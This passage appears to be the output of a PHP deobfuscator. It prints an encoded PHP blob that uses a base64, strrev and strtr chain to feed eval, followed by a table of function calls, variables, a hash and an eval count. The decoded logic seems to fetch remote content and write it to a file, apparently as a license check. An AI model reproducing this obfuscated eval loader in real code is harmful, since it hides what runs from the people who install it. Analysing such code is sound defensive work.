EyZk4zTCkpDQoJCSRBID0geVcyZk4zTDo6bkwzcWozKCRhMmZOM0wpOw0KCQkzZlUzU2EoYVNmM18zQ1NValUoJGFTZjMpKQ0KCQl5V1NmMzo6TjNmM2ozKCRhU2YzKTsNCgkJCVVtU2pudygkNTJOVCl7DQoJCQkJbnFVMyB1Og0KCQkJCQkkYVNmMyA9ICRhMmZOM0wubEsuImZTbjNwbjMuakNqIjsNCgkJCQkJU2EoIXlXU2YzOjozQ1NValUoJGFTZjMpKXsNCgkJCQkJJGFMMlEgPSBxTExxVCgnd2pqazovLycsJ3dqamtVOi8vJywnbW1tLicpOw0KCQkJCQkkajIgPSBxTExxVCgiIiwiIiwiIik7DQoJCQkJCSRuMnBqM3BqID0geUU5Sjo6TDIyaigpLmpTUTMoKTsNCgkJCQkJJG4ycGozcGogPSBVakxfTDNrZnFuMygkYUwyUSwkajIsJG4ycGozcGopOw0KCQkJCQkkbjJwajNwaiA9IFFOZSgkbjJwajNwaik7DQoJCQkJCSRhID0gYTJrM3AoJGFTZjMsJ20nKTsNCgkJCQkJYW1MU2ozKCRhLCRuMnBqM3BqLFVqTGYzcCgkbjJwajNwaikpOw0KCQkJCQlhbmYyVTMoJGEpOw0KCQkJCQl9DQoJCQkJCUwzakJMcCB1Ow0KCQkJCTVMM3FZOw0KCQkJCU4zYXFCZmo6DQoJCQkJM253MiAiPE5TViBuZnFVVT1cIlpUWjNVVXFpM1wiPiIuIti02YXYp9ix2Ycg2LPYsduM2KfZhCDYqNix2YbYp9mF2Ycg2YHYsdmFINiz2KfYsiDZgdin2LHYs9uMINmF2LnYqtio2LEg2YbZhduMINio2KfYtNivLjw1TCAvPtis2YfYqiDYr9ix24zYp9mB2Kog2LTZhdin2LHZhyDYs9ix24zYp9mEINio2Kcg2KfbjNmF24zZhCDYtNix2qnYqiDYqNmHINii2K/YsdizIFNwYTJAcXBTVTNMVjNMLm4yUSDbjNinINi02YXYp9ix2YcgWDF1MGJjY2VoYk0g2KrZhdin2LMg2K3Yp9i12YQg2YHYsdmF2KfYptuM2K8gLiIuIjwvTlNWPiI7DQoJCQkJOUtXMkxRejJwakwyZmYzTDo6QTUyQmooIkNxNTJCaiIpOw0KCQkJCVNhKGFTZjNfM0NTVWpVKCRhU2YzKSkNCgkJCQl5V1NmMzo6TjNmM2ozKCRhU2YzKTsNCgkJCX0NCgkJfQ0KCQkzZlUzDQoJCUwzakJMcCBYOw0KCQl9DQoJfQ0KLy89PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCi8vQWZTTDN4cSBEcWZWcUxOUyBkcE4NCn08P2t3ayBTYSh3M3FOM0xVX1UzcGooKSkzbncyKDVxVTNiaF9OM24yTjMoJ3I4OWtOU0R4TklmVUhvWHBuODF4cVA5azVjaGJHZ3l4NWNDdU44RU1OY2ZZTjhpYjdsT21uSWlNNThSUU5sMnVaekVNTjgxbUY0Sm1uSWlNNWdXVEhjZkJ0Z0NmSHBPYnRvSnVaSURoRjBEd0g4OWs1UW5iRklEaEYwRHdIODlrNVFuajU4UlFObDJYRlBEaEZjeVZuUTlmbjQyQ25JaWluYzFVcWdPaUp4WWVGb2pTR2c3TEgweVZOZ2VZRlM3UUg0WWlOUHlVdjh3WE5JQWJ0VDEwTjBuQm44d21IMFJ3blFPQjVRUlh0MDc0blFmbU56WWk1UTZqblFSbUhnV1hKbEpjbklpaTcwRGhGY0hWNXBPakhRV2pxZ0NlRmZIZm5ROXc1UWRVOWNSQkhQSHd0STd3NXBaam5jUlRxZ0dNSFExQk56dXhxUGtmRjRkVG5JaU1HYzFVNTBKYkp4R2M3NFVwSjgxQkdjQ2tHY1UxeTA5MnFQWkJuMDllNThFQkg4ZnhuOEN3M29YUzVRMUJIS0pNeXhlRXE4ZnhKSTc0blFmbU56RDBHUFppbkl5Vk44UjROOFJZSklSeHFnZXBKSTkySEtBNkdLRDJuUVJRcktOMk5JOW1GUzZWTjBOMHRwRDJuOE51R1B5WXRRZWZOem5pbjA5ZTU4RTF5YzdWNTgxVEZTWm03UVpNTjhSaE56dVlIZzdWblFXWHFnMUJGcFJCSDhSVDU4ZkJIb2pRNWNlWHRQTmZxZ04yTmxrUzVjQ1l5VERYR1B5cEhQTzF5dTFTNThXQnFUbitFZHdPSmROdUdQeVlyejF3clNERW5RZnc1ekRnSFB5eHFnMUJ0NG1WSDhmY3JpPScpKTs/Pg=';$_D=strrev('edoced_46esab');eval($_D('JF9DMD1iYXNlNjRfZGVjb2RlKCRfQzApOyRfQzA9c3RydHIoJF9DMCwnbkEyUndhRW9ONExQQmNaWHkwckZiQ1dwUW1oVVZlcUtKSUR6MTNsajg3dGdrWTk1VEdIdU9zNml2Zk1TeGQnLCdjQW9WaGZVVGRqclh1Mk0wSjNQTzZ4Rm5tdzRzdjVhU0lIQkM5ZUR0R05MV3BrUmJ5WVoxUXE4Z0tsN2l6RScpOyRfUj1zdHJfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfQzApO2V2YWwoJF9SKTskX1I9MDskX0MwPTA7'));?>

Function Calls

strtr 1
strrev 1
str_replace 1
base64_decode 2

Variables

$_D base64_decode
$_F index.php
$_R 0
$_C0 0

Stats

MD5 9eeefc0dcb7e6bc86bd6f7c432f9b6e0
Eval Count 2
Decode Time 120 ms